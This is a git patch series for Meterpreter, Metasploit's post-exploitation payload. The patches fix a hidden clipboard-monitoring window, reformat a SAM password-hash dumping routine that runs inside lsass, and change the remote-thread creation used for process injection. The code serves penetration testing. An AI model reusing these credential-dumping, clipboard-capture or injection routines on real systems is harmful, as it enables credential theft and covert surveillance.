diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c
index 2091e5b7..809fed23 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.c
+++ b/c/meterpreter/source/extensions/extapi/clipboard.c
@@ -1117,7 +1117,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
 
 		while (!bTerminate)
 		{
-			dwResult = WaitForMultipleObjects(2, waitableHandles, FALSE, 1) - WAIT_OBJECT_0;
+			dwResult = WaitForMultipleObjects(3, waitableHandles, FALSE, 1) - WAIT_OBJECT_0;
 
 			switch (dwResult)
 			{

From cca2f14835f04ebacfff6978a1385c88973b6f65 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 5 Feb 2014 22:37:55 +1000
Subject: [PATCH 17/20] Fix number of issues revealed in x64 testing

Thanks to sinner being on the ball, x64 was broken and causing some
crazy things to happen. The CPU would peg at 100% despite x86 being
quite happy. It turns out, I suck at C, so I had to fix that up.

This commit includes the following changes:

* Fix up the WNDPROC callback so that the parameters are in the right
  order.
* Specify the correct array size for wait handles in the monitor thread.
* Add extra debugging.
* Handle WM_* messages correctly and add WM_NCCREATE.
* Correctly use the CREATESTRUCT to pass in the state.

"How on earth did this ever work?"

Fixed now, thanks again sinner!
---
 .../source/extensions/extapi/clipboard.c      | 55 +++++++++++--------
 1 file changed, 33 insertions(+), 22 deletions(-)

diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c
index 809fed23..19fc6253 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.c
+++ b/c/meterpreter/source/extensions/extapi/clipboard.c
@@ -758,28 +758,25 @@ DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
  * @brief Message proc function for the hidden clipboard monitor window.
  * @param hWnd Handle to the window receiving the message.
  * @param uMsg Message that is being received.
- * @param lParam First parameter associated with the message.
- * @param wParam Second parameter associated with the message.
+ * @param wParam First parameter associated with the message.
+ * @param lParam Second parameter associated with the message.
  * @returns Message-specific result.
  * @remark This window proc captures the clipboard change events.
  */
-LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam, WPARAM wParam)
+LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
 {
 	DWORD dwResult;
-	ClipboardState* pState = (ClipboardState*)GetWindowLongPtrA(hWnd, GWLP_USERDATA);
+	ClipboardState* pState = NULL;
 	ClipboardCapture* pNewCapture = NULL;
 
-	if (!pState)
-	{
-		pState = gClipboardState;
-		SetWindowLongPtrA(hWnd, GWLP_USERDATA, (LONG_PTR)pState);
-	}
-
 	switch (uMsg)
 	{
+	case WM_NCCREATE:
+		return TRUE;
+
 	case WM_CREATE:
-		dprintf("[EXTAPI CLIPBOARD] received WM_CREATE %x", hWnd);
-		pState = (ClipboardState*)pState;
+		dprintf("[EXTAPI CLIPBOARD] received WM_CREATE %x (lParam = %p wParam = %p)", hWnd, lParam, wParam);
+		pState = (ClipboardState*)((CREATESTRUCTA*)lParam)->lpCreateParams;
 		SetWindowLongPtrA(hWnd, GWLP_USERDATA, (LONG_PTR)pState);
 		pState->hNextViewer = SetClipboardViewer(hWnd);
 		dprintf("[EXTAPI CLIPBOARD] SetClipboardViewer called, next viewer is %x", pState->hNextViewer);
@@ -788,10 +785,13 @@ LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam
 		{
 			dprintf("[EXTAPI CLIPBOARD] SetClipboardViewer error %u", GetLastError());
 		}
-		break;
+
+		return 0;
 
 	case WM_CHANGECBCHAIN: 
 		dprintf("[EXTAPI CLIPBOARD] received WM_CHANGECBCHAIN %x", hWnd);
+		pState = (ClipboardState*)GetWindowLongPtrA(hWnd, GWLP_USERDATA);
+
 		if ((HWND)wParam == pState->hNextViewer)
 		{
 			pState->hNextViewer = (HWND)lParam;
@@ -801,10 +801,12 @@ LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam
 		{
 			SendMessageA(pState->hNextViewer, uMsg, wParam, lParam);
 		}
-        break;
+
+		return 0;
 
      case WM_DRAWCLIPBOARD:
 		dprintf("[EXTAPI CLIPBOARD] received WM_DRAWCLIPBOARD %x", hWnd);
+		pState = (ClipboardState*)GetWindowLongPtrA(hWnd, GWLP_USERDATA);
 
 		if (pState->bRunning)
 		{
@@ -837,18 +839,20 @@ LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam
 			dprintf("[EXTAPI CLIPBOARD] Passing on to %x", pState->hNextViewer);
 			SendMessageA(pState->hNextViewer, uMsg, wParam, lParam);
 		}
-        break;
+
+		return 0;
 
 	case WM_DESTROY:
 		dprintf("[EXTAPI CLIPBOARD] received WM_DESTROY %x", hWnd);
+		pState = (ClipboardState*)GetWindowLongPtrA(hWnd, GWLP_USERDATA);
 		ChangeClipboardChain(hWnd, pState->hNextViewer); 
-		break;
+
+		return 0;
 
 	default:
+		dprintf("[EXTAPI CLIPBOARD] received %x for window %x", uMsg);
 		return DefWindowProcA(hWnd, uMsg, lParam, wParam);
 	}
-
-	return (LRESULT)NULL;
 }
 
 /*!
@@ -863,6 +867,7 @@ DWORD create_clipboard_monitor_window(ClipboardState* pState)
 	BOOL bRegistered = FALSE;
 	WNDCLASSEXA wndClass = { 0 };
 
+	ZeroMemory(&wndClass, sizeof(wndClass));
 	wndClass.cbSize = sizeof(WNDCLASSEXA);
 	wndClass.lpfnWndProc = (WNDPROC)clipboard_monitor_window_proc;
 	wndClass.hInstance = GetModuleHandleA(NULL);
@@ -880,7 +885,7 @@ DWORD create_clipboard_monitor_window(ClipboardState* pState)
 		dprintf("[EXTAPI CLIPBOARD] Window registered");
 		bRegistered = TRUE;
 
-		pState->hClipboardWindow = CreateWindowExA(0, pState->cbWindowClass, pState->cbWindowClass, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, pState);
+		pState->hClipboardWindow = CreateWindowExA(0, pState->cbWindowClass, pState->cbWindowClass, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, wndClass.hInstance, pState);
 
 		if (pState->hClipboardWindow == NULL)
 		{
@@ -894,7 +899,8 @@ DWORD create_clipboard_monitor_window(ClipboardState* pState)
 
 	if (pState->hClipboardWindow == NULL && bRegistered)
 	{
-		UnregisterClassA(pState->cbWindowClass, GetModuleHandleA(NULL));
+		dprintf("[EXTAPI CLIPBOARD] Unregistering window class due to failure");
+		UnregisterClassA(pState->cbWindowClass, wndClass.hInstance);
 	}
 
 	return dwResult;
@@ -921,7 +927,7 @@ DWORD destroy_clipboard_monitor_window(ClipboardState* pState)
 
 		if (!UnregisterClassA(pState->cbWindowClass, GetModuleHandleA(NULL)))
 		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to destroy the clipboard window");
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to remove the clipboard window class");
 		}
 
 		dwResult = ERROR_SUCCESS;
@@ -1089,7 +1095,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
 #ifdef _WIN32
 	DWORD dwResult;
 	BOOL bTerminate = FALSE;
-	HANDLE waitableHandles[2] = {0};
+	HANDLE waitableHandles[3] = {0};
 	MSG msg;
 	ClipboardState* pState = (ClipboardState*)thread->parameter1;
 
@@ -1115,6 +1121,10 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
 		waitableHandles[1] = pState->hPauseEvent->handle;
 		waitableHandles[2] = pState->hResumeEvent->handle;
 
+		dprintf("[EXTAPI CLIPBOARD] thread wait handle : %x", waitableHandles[0]);
+		dprintf("[EXTAPI CLIPBOARD] pause wait handle  : %x", waitableHandles[1]);
+		dprintf("[EXTAPI CLIPBOARD] resume wait handle : %x", waitableHandles[2]);
+
 		while (!bTerminate)
 		{
 			dwResult = WaitForMultipleObjects(3, waitableHandles, FALSE, 1) - WAIT_OBJECT_0;
@@ -1141,6 +1151,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
 				// timeout, so pump messages
 				if (pState->hClipboardWindow && PeekMessageA(&msg, pState->hClipboardWindow, 0, 0, PM_REMOVE))
 				{
+					dprintf("[EXTAPI CLIPBOARD] Pumping message");
 					TranslateMessage(&msg);
 					DispatchMessageA(&msg);
 				}

From 94468e1313c9492ba5261bd5d70f76f6baa09454 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 5 Feb 2014 23:06:10 +1000
Subject: [PATCH 18/20] One last tweak to remove all evidence of stupidity

---
 c/meterpreter/source/extensions/extapi/clipboard.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c
index 19fc6253..6b4b9a55 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.c
+++ b/c/meterpreter/source/extensions/extapi/clipboard.c
@@ -851,7 +851,7 @@ LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, WPARAM wParam
 
 	default:
 		dprintf("[EXTAPI CLIPBOARD] received %x for window %x", uMsg);
-		return DefWindowProcA(hWnd, uMsg, lParam, wParam);
+		return DefWindowProcA(hWnd, uMsg, wParam, lParam);
 	}
 }
 

From 2c9a8cf9ab03153fd64f0fb84eb603e4289164a4 Mon Sep 17 00:00:00 2001
From: James Lee <egypt@metasploit.com>
Date: Mon, 10 Feb 2014 16:45:58 -0600
Subject: [PATCH 19/20] Whitespace

---
 .../source/extensions/priv/server/passwd.c    | 31 ++++++++++---------
 1 file changed, 16 insertions(+), 15 deletions(-)

diff --git a/c/meterpreter/source/extensions/priv/server/passwd.c b/c/meterpreter/source/extensions/priv/server/passwd.c
index 18469492..6dc117c2 100644
--- a/c/meterpreter/source/extensions/priv/server/passwd.c
+++ b/c/meterpreter/source/extensions/priv/server/passwd.c
@@ -95,7 +95,7 @@ typedef struct
 	char realloc[8];
 	char free[5];
 	char memcpy[7];
-		
+
 	/* ntdll strings */
 	char ntdlldll[10];
 	char wcstombs[9];
@@ -110,7 +110,7 @@ typedef struct
 	/* return values */
 	DWORD			dwDataSize;
 	USERNAMEHASH	*pUsernameHashData;
-	
+
 } FUNCTIONARGS;
 
 /* define types for samsrv */
@@ -307,7 +307,7 @@ DWORD set_access_priv()
 
 		priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 		priv.PrivilegeCount = 1;
- 
+
 		if (!AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
 		{
 			dwResult = GetLastError();
@@ -386,8 +386,8 @@ DWORD dump_sam(FUNCTIONARGS *fargs)
 	{
 		dwError = 1;
 		goto cleanup;
-	}	
-	
+	}
+
 	pSamIConnect = (SamIConnectType)fargs->GetProcAddress(hSamSrv, fargs->samiconnect);
 	pSamrOpenDomain = (SamrOpenDomainType)fargs->GetProcAddress(hSamSrv, fargs->samropendomain);
 	pSamrEnumerateUsersInDomain = (SamrEnumerateUsersInDomainType)fargs->GetProcAddress(hSamSrv, fargs->samrenumerateusersindomain);
@@ -395,9 +395,9 @@ DWORD dump_sam(FUNCTIONARGS *fargs)
 	pSamrQueryInformationUser = (SamrQueryInformationUserType)fargs->GetProcAddress(hSamSrv, fargs->samrqueryinformationuser);
 	pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFERType)fargs->GetProcAddress(hSamSrv, fargs->samifree_sampr_user_info_buffer);
 	pSamIFree_SAMPR_ENUMERATION_BUFFER = (SamIFree_SAMPR_ENUMERATION_BUFFERType)fargs->GetProcAddress(hSamSrv, fargs->samifree_sampr_enumeration_buffer);
-	pSamrCloseHandle = (SamrCloseHandleType)fargs->GetProcAddress(hSamSrv, fargs->samrclosehandle);	
+	pSamrCloseHandle = (SamrCloseHandleType)fargs->GetProcAddress(hSamSrv, fargs->samrclosehandle);
 
-	if (!pSamIConnect || !pSamrOpenDomain || !pSamrEnumerateUsersInDomain || !pSamrOpenUser || !pSamrQueryInformationUser || 
+	if (!pSamIConnect || !pSamrOpenDomain || !pSamrEnumerateUsersInDomain || !pSamrOpenUser || !pSamrQueryInformationUser ||
 		!pSamIFree_SAMPR_USER_INFO_BUFFER || !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle)
 	{
 		dwError = 1;
@@ -446,7 +446,7 @@ DWORD dump_sam(FUNCTIONARGS *fargs)
 		dwError = 1;
 		goto cleanup;
 	}
-	
+
 	pWcstombs = (WcstombsType)fargs->GetProcAddress(hNtDll, fargs->wcstombs);
 	if (!pWcstombs)
 	{
@@ -537,12 +537,12 @@ DWORD dump_sam(FUNCTIONARGS *fargs)
 			{
 				dwError = 1;
 				goto cleanup;
-			} 
+			}
 			for ( i=0; i < (dwUsernameLength + 1); i++ )
 			{
 				(fargs->pUsernameHashData)[dwStorageIndex].Username[i] = 0;
 			}
-			
+
 			/* copy over the new name, length, rid and password hash */
 			pWcstombs((fargs->pUsernameHashData)[dwStorageIndex].Username, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Buffer, dwUsernameLength);
 			(fargs->pUsernameHashData)[dwStorageIndex].Length = dwUsernameLength;
@@ -576,7 +576,7 @@ DWORD dump_sam(FUNCTIONARGS *fargs)
 		dwError = 1;
 		goto cleanup;
 	}
-	
+
 	/* wait for the copying to finish before freeing all the allocated memory */
 	hFreeLock = fargs->OpenEvent(EVENT_ALL_ACCESS, FALSE, fargs->FreeSyncEvent);
 	if (hFreeLock == NULL)
@@ -590,7 +590,7 @@ DWORD dump_sam(FUNCTIONARGS *fargs)
 		goto cleanup;
 	}
 
-cleanup: 
+cleanup:
 
 	/* free all the allocated memory */
 	for (dwCurrentUser = 0; dwCurrentUser < dwStorageIndex; dwCurrentUser++)
@@ -601,13 +601,14 @@ cleanup:
 
 	/* close all handles */
 	pSamrCloseHandle(&hDomain);
-	pSamrCloseHandle(&hSam);	
+	pSamrCloseHandle(&hSam);
 	pLsaClose(hLSA);
 
 	/* free library handles */
 	if (hSamSrv)
 	{
-		fargs->FreeLibrary(hSamSrv);	}
+		fargs->FreeLibrary(hSamSrv);
+	}
 	if (hAdvApi32)
 	{
 		fargs->FreeLibrary(hAdvApi32);
@@ -624,7 +625,7 @@ cleanup:
 	/* signal that the memory deallocation is complete */
 	fargs->SetEvent(hReadLock);
 	fargs->CloseHandle(hReadLock);
-	
+
 	/* release the free handle */
 	fargs->CloseHandle(hFreeLock);
 

From f74962cf2fbd580948c9b0938f69a5cdd22d41bd Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 12 Feb 2014 13:27:41 +1000
Subject: [PATCH 20/20] Reinstate stack size parameter

Previous commits removed the stack size parameter from the remote thread
creation function call. This caused issues in systems prior to Vista/2k8.

This fix puts that value back in and now everything is honky dory.

Tested on 2k/XP/2k3/Vista/7/2k8
---
 .../source/common/arch/win/i386/base_inject.c     |  4 +++-
 .../source/common/arch/win/remote_thread.c        | 15 ++++++++++++---
 .../source/common/arch/win/remote_thread.h        |  2 +-
 .../source/extensions/priv/server/passwd.c        |  2 +-
 .../extensions/stdapi/server/sys/process/thread.c |  2 +-
 .../extensions/stdapi/server/sys/process/util.c   |  2 +-
 6 files changed, 19 insertions(+), 8 deletions(-)

diff --git a/c/meterpreter/source/common/arch/win/i386/base_inject.c b/c/meterpreter/source/common/arch/win/i386/base_inject.c
index 12aadf59..4a8d67bd 100644
--- a/c/meterpreter/source/common/arch/win/i386/base_inject.c
+++ b/c/meterpreter/source/common/arch/win/i386/base_inject.c
@@ -431,7 +431,7 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces
 	{
 		// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
 		// fails, giving us a chance to try an alternative method or fail migration gracefully.
-		hThread = create_remote_thread(hProcess, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL);
+		hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL);
 		if (!hThread)
 		{
 			if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64)
@@ -469,7 +469,9 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces
 		dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread...");
 		// Resume the injected thread...
 		if (ResumeThread(hThread) == (DWORD)-1)
+		{
 			BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed")
+		}
 
 	} while (0);
 
diff --git a/c/meterpreter/source/common/arch/win/remote_thread.c b/c/meterpreter/source/common/arch/win/remote_thread.c
index b7e69980..76ea4423 100644
--- a/c/meterpreter/source/common/arch/win/remote_thread.c
+++ b/c/meterpreter/source/common/arch/win/remote_thread.c
@@ -16,7 +16,8 @@ static BOOL pRtlCreateUserThreadAttempted = FALSE;
 
 /*!
  * @brief Helper function for creating a remote thread in a privileged process.
- * @param hProcess Handle to the target processj.
+ * @param hProcess Handle to the target process.
+ * @param sStackSize Size of the stack to use (if unsure, specify 0).
  * @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
  * @param pvStartParam Pointer to the parameter to pass to the thread function.
  * @param dwCreateFlags Creation flags to use when creating the new thread.
@@ -32,11 +33,19 @@ static BOOL pRtlCreateUserThreadAttempted = FALSE;
  *         existing behaviour is kept for when running on XP and earlier, or when the user is already
  *         running within a privileged process.
  */
-HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId)
+HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId)
 {
 	NTSTATUS ntResult;
 	BOOL bCreateSuspended;
-	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId);
+	DWORD dwThreadId;
+	HANDLE hThread;
+	
+	if (pdwThreadId == NULL)
+	{
+		pdwThreadId = &dwThreadId;
+	}
+
+	hThread = CreateRemoteThread(hProcess, NULL, sStackSize, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId);
 
 	// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
 	// on Vista and later.
diff --git a/c/meterpreter/source/common/arch/win/remote_thread.h b/c/meterpreter/source/common/arch/win/remote_thread.h
index 2aeeb36e..a2baa49b 100644
--- a/c/meterpreter/source/common/arch/win/remote_thread.h
+++ b/c/meterpreter/source/common/arch/win/remote_thread.h
@@ -1,6 +1,6 @@
 #ifndef _METERPRETER_REMOTE_THREAD_H
 #define _METERPRETER_REMOTE_THREAD_H
 
-HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);
+HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);
 
 #endif
\ No newline at end of file
diff --git a/c/meterpreter/source/extensions/priv/server/passwd.c b/c/meterpreter/source/extensions/priv/server/passwd.c
index cc0a1583..00498b85 100644
--- a/c/meterpreter/source/extensions/priv/server/passwd.c
+++ b/c/meterpreter/source/extensions/priv/server/passwd.c
@@ -775,7 +775,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
 		sBytesWritten = 0;
 
 		/* start the remote thread */
-		if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL)
+		if ((hThreadHandle = create_remote_thread(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL)
 		{
 			dwError = GetLastError();
 			dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError);
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c
index ae17474b..73f0ccce 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c
@@ -90,7 +90,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet)
 		}
 
 		// Create the thread in the process supplied
-		if (!(thread = create_remote_thread(process, entryPoint, entryParam, createFlags, &threadId)))
+		if (!(thread = create_remote_thread(process, 0, entryPoint, entryParam, createFlags, &threadId)))
 		{
 			result = GetLastError();
 			break;
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c
index 0efc0ffd..01da4f72 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c
@@ -36,7 +36,7 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
 		}
 
 		// Create the thread in the target process
-		if (!(thread = create_remote_thread(process, codeInProcess, paramInProcess, 0, &threadId)))
+		if (!(thread = create_remote_thread(process, 0, codeInProcess, paramInProcess, 0, &threadId)))
 		{
 			result = GetLastError();
 			break;